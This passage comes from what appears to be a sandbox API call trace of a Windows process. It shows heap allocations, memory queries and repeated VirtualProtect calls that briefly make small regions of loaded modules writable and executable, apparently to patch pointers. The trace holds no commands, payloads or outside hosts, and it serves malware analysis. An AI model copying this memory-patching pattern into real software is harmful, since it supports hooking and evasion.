flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f280 [0042.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f280 | out: hHeap=0x9770000) returned 1 [0042.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f280 [0042.785] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.786] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.787] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f2f0 [0042.787] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f2f0 | out: hHeap=0x9770000) returned 1 [0042.787] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.787] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.787] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f2f0 [0042.787] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.789] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd480000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd480000, AllocationBase=0x7fefd480000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa2f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa2f0000, AllocationBase=0x7fefa2f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb690000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb690000, AllocationBase=0x7fefb690000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb6e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb6e0000, AllocationBase=0x7fefb6e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f360 | out: hHeap=0x9770000) returned 1 [0042.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f360 [0042.796] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.797] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefba00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefba00000, AllocationBase=0x7fefba00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb080000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb080000, AllocationBase=0x7fefb080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f3d0 | out: hHeap=0x9770000) returned 1 [0042.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefeea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefeea0000, AllocationBase=0x7fefeea0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f3d0 [0042.799] VirtualProtect (in: lpAddress=0x7fefef5b3a0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.800] VirtualProtect (in: lpAddress=0x7fefef5b3a0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f440 [0042.801] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f440 | out: hHeap=0x9770000) returned 1 [0042.801] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f440 [0042.802] VirtualProtect (in: lpAddress=0x7fefef5b8e0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.803] VirtualProtect (in: lpAddress=0x7fefef5b8e0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd3a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd3a0000, AllocationBase=0x7fefd3a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.804] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd160000, AllocationBase=0x7fefd160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.804] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.804] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb5d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb5d0000, AllocationBase=0x7fefb5d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.805] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefac50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefac50000, AllocationBase=0x7fefac50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.805] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.805] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.805] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb7e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb7e0000, AllocationBase=0x7fefb7e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.805] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.805] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.806] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.806] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.806] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.806] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.806] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.806] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.806] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.806] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcf40000, AllocationBase=0x7fefcf40000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.806] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.806] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.807] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] 